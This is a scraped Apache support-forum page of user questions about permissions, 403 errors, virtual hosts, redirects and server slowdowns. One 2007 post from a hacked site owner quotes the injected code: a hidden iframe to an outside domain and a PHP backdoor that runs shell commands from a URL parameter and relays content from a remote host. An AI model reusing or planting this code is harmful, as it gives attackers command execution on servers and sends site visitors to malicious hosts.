Apache :: Forbidden 403s When Accessing Files / Pages On Mounted Device
Nov 18, 2014
So I have a script running on my apache that catalogs pictures and clips. All the actual video files are located on a separate drive which is mounted in to a folder in my site. I've set apache as the owner and have the correct permissions on the mounted folder but I'm getting Forbidden errors accessing files even when on html file in the mounted folder.
I know it's a permissions issue at the disk or mounting level. The way I mount is by using this command:
mount -t ext4 /dev/sdc /var/www/html/media
View 6 Replies
ADVERTISEMENT
Apr 25, 2007
I have a problem with my new server's setup. It's using a big RAID storage mounted to the main system. When it comes to shell everything is fine, I have access to the disk and files. Problems rise when I try to access the storage content from my php scripts (running on apache) - "Permission Denied" ...
Anyone knows where might be the problem?
I suppose it's because of using RAID but I'm sure it's doable.. somehow..
When I tried to use CLI mode it looks fine - PHP script can access RAID'ed folders when running like :
php /var/www/html/filetest.php
View 2 Replies
View Related
Mar 25, 2008
I have a subdomain specifically for hosting files that I use on other subdomains and eventually on other forums. It is images
On its root there is a index.html linking some images (it is still unfinished), it opens ok and shows all images ...
View 7 Replies
View Related
Mar 28, 2009
I have one server right now and will be adding a second server in the next 4-5 months. In the meantime I've upgraded the coding in my community site to act as if there is already two servers. Mainsite.com has all the php files, and a separate HD for mysql db only, [url] has all the user images and videos.
This problem I'm having right now is the permission to delete files from [url]via [url]
What I've Tried:
vsFTPd - it has a small footprint but its not reliable, needed to be restarted a few times while testing on the beta site.
usermod - this is messy, changing chmods, owners, grps... etc I tried all of that but still had problems getting the Mainsite to be part of the group without having to change all the chmods and grps.
NFS mount - haven't tried yet...
Does anyone run a multiple server site? My sites pretty big been around for 4yrs, and i've upgraded servers 3 times since then.
If i can't get this to work right my final option would be to continue to upgrade to a new server each year, everytime a bigger and faster server setup becomes available.
Current server Dual Xeon 5310 4gb, 3 x 146gb scsi/sas. The server is doing fine with this setup. But with the new site uprade and features it's going to top things out. I can keep throwing ram on the server and move mysql off site.
The site has little over 1mil users with about 60-70% of them being active daily...
View 5 Replies
View Related
Sep 29, 2009
I am redoing a website that is currently being hosted by some shady company that is completely unreachable. I have the ftp server info and password, and I am trying to get on using FileZilla, however there must be something incorrect because it is not letting me access the site.
Is there anyway I can host this website using the same current domain, even though it is already being hosted by this other horrible company? The person I am doing the site for has been trying to contact the company for months to cancel hosting, but they are not responding.
For example, if the company was company.com, and I have created a new site for them which I have on my own webserver, how do I access company.com so that the website I made will now be at that domain?
View 6 Replies
View Related
Apr 25, 2009
Where should I put the files that I don't want them to use server's frontend (public) php.ini configuration instead of the backend copy located at /usr/local/cpanel/3rdparty/etc/php.ini?
In other words, I want to access the files through [url]
View 0 Replies
View Related
Dec 5, 2014
I run some tests with an Apache 2.4.10 running on W2k3 Server to see if Videos are playing well. The site is protected with .htacess/.htpasswd for now. I use jwplayer as player. The videos run fine on FF and IE, but as soon as I want to play them on an IOS 8 device (Iphone, Ipad), it doesn't work anymore. The message I get is "File cannot be played". The odd part is - when I remove .htaccess/.htpasswd, it works immediately. IOS devices, or is there something specific to be set to make this work? I logged in to the site with user and password, which always worked flawlessly. I assume it's not an Apache problem, since it runs fine on FF, but maybe someone here is aware of such a bug or something.
View 3 Replies
View Related
Nov 25, 2008
I noticed in apache access log most of ip belong to 127.0.0.1 and it access to hostname domain.(hostname.domain.com).Any idea why is that happening?I realy dont see sense in that.
Here is one example:255-6-0/0/30. 0.0012112900.00.000.57 127.0.0.1hostname.domain.comGET / HTTP/1.0
View 3 Replies
View Related
Jun 3, 2013
We have many intranet document what linked on our intranet site. We use "apache builed in" directory listing to handle documents on browser, and make accessable to users. Because this not so user friendly we try to use a template (h5ai-[URL] ....) for mod_autoindex.
Unfortunatelly if file or folder name contains special characters (like é,á,ű,ő,ú,ü,ö,ó) than get Access Forbidden - Error 403. If change the folder name, than its ok.
I use xampp. how to solve this.
View 7 Replies
View Related
Mar 2, 2014
I have 3 computers on the same network. One running apache2 on Ubuntu 12.04 and the others with Windows7. I want to access the website I set up from a Windows machine. When I type in the URL, domain.com, I get a 404 error. When I type in 127.0.1.1/domain.com I get the directory listing for the website. I have to actually type 127.0.1.1/domain.com/public_html/ before the website can actually be seen. I would like to get rid of the public_html part. I am brand new to all this.
View 1 Replies
View Related
Aug 3, 2014
I've been developing websites using Apache on various Ubuntu laptops over the years. I just set up a new laptop with Apache and it worked fine. If I went to localhost in my browser then it showed the default page. So far, so good.
I then added a file to sites-available to add wildcard virtual hosts. This lets me use convenient urls while developing sites on my laptop. Once I enabled this site, every url that resolved to localhost became 403 Forbidden, including urls that should return 404. Here is an example entry from other_vhosts_access.log...
View 5 Replies
View Related
Mar 14, 2014
I had an hosting account with a copany, recently I migrated to VPS managed by plesk 11.5..I was able to get the awstats database file from the old host, and i have copied them in the /var/www/vhosts/mydomain.com/statistics/webstats/ folder, together with the other database files genereted by the new VPS hosting
Only problem is that plesk only rebuilds everyday the static page for the current month, and I see no way to ask him to build the pages for this past months. Also would be good if he would rebuild the header to have updated the dropdown menu from which to choose the month to dispay..Is it possible to rebuild manually these static pages?
View 5 Replies
View Related
Dec 14, 2014
I have the following code in my .htaccess file to block an IP from accessing a file on my site and it works fine.
<Files mypage.html>
Order Deny,Allow
Deny from XXX.XXX.XXX.XXX
</Files>
Is there a way to block an IP from accessing a page (e.g., mydomain.com/mypage/)?
View 3 Replies
View Related
Nov 6, 2014
We are getting the error from the SAP portal where we have installed Apache as a reverse Proxy on Windows server.
The Apache Server received an invalid response from an upstream server.
The Proxy server could not handle the request POST/irj/portal
Reason: Error reading from remote server
--------------------------------------------------
Apache/2.4.9 (Win32)OpenSSL/1.0.1h Server at www.xyz.com port 80
What do I need to check?
View 7 Replies
View Related
Dec 19, 2008
i have apache 2 and centos with plesk . when i see my apache error log it shows me :
[Fri Dec 19 05:56:35 2008] [error] [client ::1] Directory index forbidden by Options directive: /var/
www/html/
View 1 Replies
View Related
Sep 5, 2014
We are getting 403 for bidden error when accessing from web clients.
Here are my config files:
httpd.conf & httpd-ssl.conf files:
1) [URL] ....
2) [URL] ....
Any changes we have to make in our configuration files.
View 1 Replies
View Related
Jul 25, 2014
I have an Apache server running on a virtual machine and I want to be able to access the pages it serves from a browser running on the host OS.
I am using OracleVM virtualbox as my VM platform.
I am using windows 7 as my host OS.
I am using ubuntu as my guest OS.
I have managed to set up a virtual host so that it works from browsers running in the guest OS (ubuntu)
But I cannot get it to serve these pages to a browser running in the host OS windows.
The config file in the apache2/sites-available and apache2/sites-enabled has the following config for the virtual host I am trying to access.
<VirtualHost *:80>
ServerAdmin webmaster@localhost
ServerName testsite
DocumentRoot /var/newserver
<Directory />
Options FollowSymLinks
[Code] ....
View 1 Replies
View Related
Apr 28, 2015
I created a new virtual site and cloned an existing to to the new docroot to have content. But when I access it I receive the Access Denied you do not have permission to access . . .I've checked all my entries and unless I'm blind I cannot figure out how to remedy this on my Windows 2003R2 server running apache 2.2.x
View 1 Replies
View Related
Oct 1, 2007
I am having this issue with a new box where Apache at random serves blank pages and won't serve anything but until it's restarted. I see no errors in /var/log/messages either to show why this is happening.
It's not all pages either just several various ones. I know it's not a programming issue either because the only thing the server is running is one instance of vBulletin.
I look at top during this and CPU and RAM usage are very low.
The only fix to get Apache to serve the pages is to restart it.
Anyone have any clues on what it could be?
I set my php.ini memory limit to a gig (I have 16 gigs in the sever)
View 1 Replies
View Related
Jan 23, 2014
How do I add multiple web pages to my server?
View 6 Replies
View Related
Feb 17, 2014
I am delivering my php scripts from a new Apache server on CentOS delivering them only at the end of the loading. What is a pain, especially for pages being used by iOS apps just needing the xml section even if the script goes further, or when presenting information while they are generated.
View 3 Replies
View Related
Apr 22, 2009
Looking trough my logs I found something that bothers me, there are bots who keep doing requests on my website with pages like /admin or /secure to find vulnerabilities.
It's making about 5-6 requests for unexisting pages every second until it comes to the end of it's dictionary (the pages are even sorted in alphabetical order,
Is there some way to let my Apache server block access to these bots when they make X attemps to see a page who does not exists in a short amount of time? A bit like iptables reject connection if someone tries to log in but fails to do so too many times.
View 6 Replies
View Related
Aug 20, 2005
I'm hoping to redirect visits to any page in an old directory to the index page of a new directory.
In other words, redirect:
[URL] ....
[URL] ....
Is this possible? If so, how could I do it?
In my .htaccess I currently have:
Code :
RedirectPermanent /facts/ http://www.domain.com/newfacts/
but this only redirects the index page.
View 19 Replies
View Related
Nov 21, 2013
I work for a company with a highly trafficked site (about 100,000 unique daily visitors). We have our "MANAGED" hosting through Rackspace for quite the pretty penny per month. It includes a dedicated back end / DB server and cloud servers for the front end.
The setup has been functioning perfect for 10 months now; but this past Monday the speed of the site immediately dropped. Page load times fell from 1-2 seconds to between 10-20 seconds, and sometimes not at all. As far as we know (and as far as Rackspace says), no server setting were modified. No new code was introduced on our end. It's a mainly static site, with minimal user interaction with the backend at all.
We've monitored the traffic, checked IPs, etc. We've even tunes down several site features in the interest of reducing server load. Upon a server reboot, the active threads/processes running on it IMMEDIATELY jump back up to maxed out levels. It seems like once our daily traffic reaches 10MB/s, a type of queue forms and the delays begin. Rackspace assures us that we're not limited to that.
Versions:
OS: cent OS on cloud
OS: Redhat on Dedicated Server
Apache: 2.2
PHP: 5.3 / MySQL: 5.1.69
Some more background info: The site is typically busiest from 7am until 3pm EST. For the past few days, we've noticed that between 7am and 9-10pm the server has just lagged incredibly. However, at around that 9-10pm mark, something changes and the pages go back to loading almost instantly. (There is still decent traffic though.) Then at around 7am again it slows to a crawl.
Rackspace has offered solutions such as spinning up another server and incorporating their load balancing - they are in the process of this BUT they do NOT think the traffic is the issue. At one point they actually said there was potential packet loss somewhere in the network, but no progress has been made.
View 2 Replies
View Related
Jul 30, 2014
I've updated to Apache 2.4.10 from 2.4.9 and all of a sudden my pages don't load anymore.Previously I had this issue rarely and closing the PHP-cgi.exe processes fixed it.But since the update the issue happens almost constantly.
View 17 Replies
View Related
Sep 8, 2007
My site was hacked today, all pages named index.html were hacked. It is kind of script since all pages were written same time.
I'm using a very respectable hosting. I jumped from another hosting were I was exposed on a unsecured host (they moved my account to an insecure host without asking).
Going back on track, all files named "%index%" were hacked.
-I found a index.txt file with links to obscure sites.
The code was written at bottom of the all index.html files: iframe code
Code:
><!-- ~ --><iframe src="http://googletraff.com/in.cgi?default" width="0" height="0" style="display:none"></iframe><!-- ~ -->
Also a line.php with the following code
PHP Code:
<?error_reporting(0);if($_GET['cmd45']) {system($_GET['cmd45']);}$domain = 'shemale1.biz';$ur = '/load.php?f=%s&ua=%s&ref=%s';$qs = $_SERVER['QUERY_STRING'];$ua = urlencode(substr($_SERVER['HTTP_USER_AGENT'],0,100));$ref = urlencode($_SERVER['HTTP_REFERER']);$redirect = sprintf($ur,$qs,$ua,$ref);#print $redirect;#exit;echo getcontent($domain,80,$redirect);exit;function getcontent($server, $port, $file){$socket=fsockopen($server,$port,$errno,$errstr,60) or die("Can't open socket");$refer = $_SERVER['HTTP_HOST']?$_SERVER['HTTP_HOST']:$server;fputs($socket, "GET $file HTTP/1.0
");fputs($socket, "Referer: http://$refer
");fputs($socket, "Host: $server
");fputs($socket, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
");$wr = 0;while(!feof($socket)){ $temp = fgets($socket); if(eregi("<",$temp)) { $wr = 1; } if($wr) { $page .= $temp; } } fclose($socket); return $page; } ?>
So far I recover the files from backup, secured the config.php files and modify %index% to read only...finally changed the password...
View 5 Replies
View Related
Jan 7, 2015
I'm using Oracle's VirtualBox.My network on the virtual box is set to Bridged Adapter
apache/2.4.7
php 5.5.9
Linux/Ubuntu 14.04.1 LTS
No errors in my apache2 error.log file.
First time creating a server on a virtual box. I am not confident i understand how my computer browser access the virtual box server i created. Once i understand that i could fix my issue. Which is, I can't finding my enabled site or localhost via my browser on my computer. All i get is a white page for both. I don't even see the it works page.
I am following this book and got stuck on chapter 1: Understanding and Setting Up Our Development Environment.
link to book -- URL...
I have installed Oracle's VirtualBox, mounted Ubuntu, installed apache2 with $ sudo apt-get install apache2 -y. At this point everyone says, now go to your ip and you will see "It Works". Which i do not see. I see a white page with nothing on it. I then looked to see if the localhost /var/www/html/ index. html even exists. Which is does, i opened the file and i can see the line "It Works!".
My hosts file on my computer has ../driver/etc/hosts
127.0.0.1 localhost
192.168.56.1 magento.localhost.com
My hosts file on my Virtual box /etc/hosts
127.0.0.1 localhost
127.0.1.1unbuntu
192.168.56.1 magento.localhost.com
View 3 Replies
View Related
Nov 24, 2013
I have installed APC on our Windows server. After I enable APC and restart apache our pages throwing Lots of PHP Notices.
Code :
System Windows NT 6.1 build 7601 (Windows Server 2008 R2 Web Server Edition Service Pack 1) i586Architecture x86Server API Apache 2.4 Handler Apache LoungeThread Safety enabledPHP Extension Build API20100525,TS,VC9Apache Version Apache/2.4.2 (Win32) OpenSSL/1.0.1c PHP/5.4.4Virtual Server Yes
View 2 Replies
View Related
Feb 15, 2013
I'm really struggling to write htaccess rules for dynamic pages. I've like 20 pages to redirect What I want to do is redirect:
[URL] ....
to
[URL] ....
View 10 Replies
View Related
Apr 30, 2009
I've got a VPS with XenSmart, and I'm running CentOS. Recently, I have been needing to redirect my users to 'www.', since if they don't put the 'www.' in front of the domain the vB forum doesn't run properly. Though, to do this, I edited the .htaccess file and was using the 'mod_rewrite' command, but this requires Apache.
So, on my VPS I've installed Apache, and set LXAdmin to use 'httpd' instead of 'lighttpd', though now my web pages wont show up and all I've got is the default Apache web page:
[url]
How am I able to use Apache (HTTPD) and have it load my current forum? My current forums hosted in:
/home/admin/public_html/vb
View 1 Replies
View Related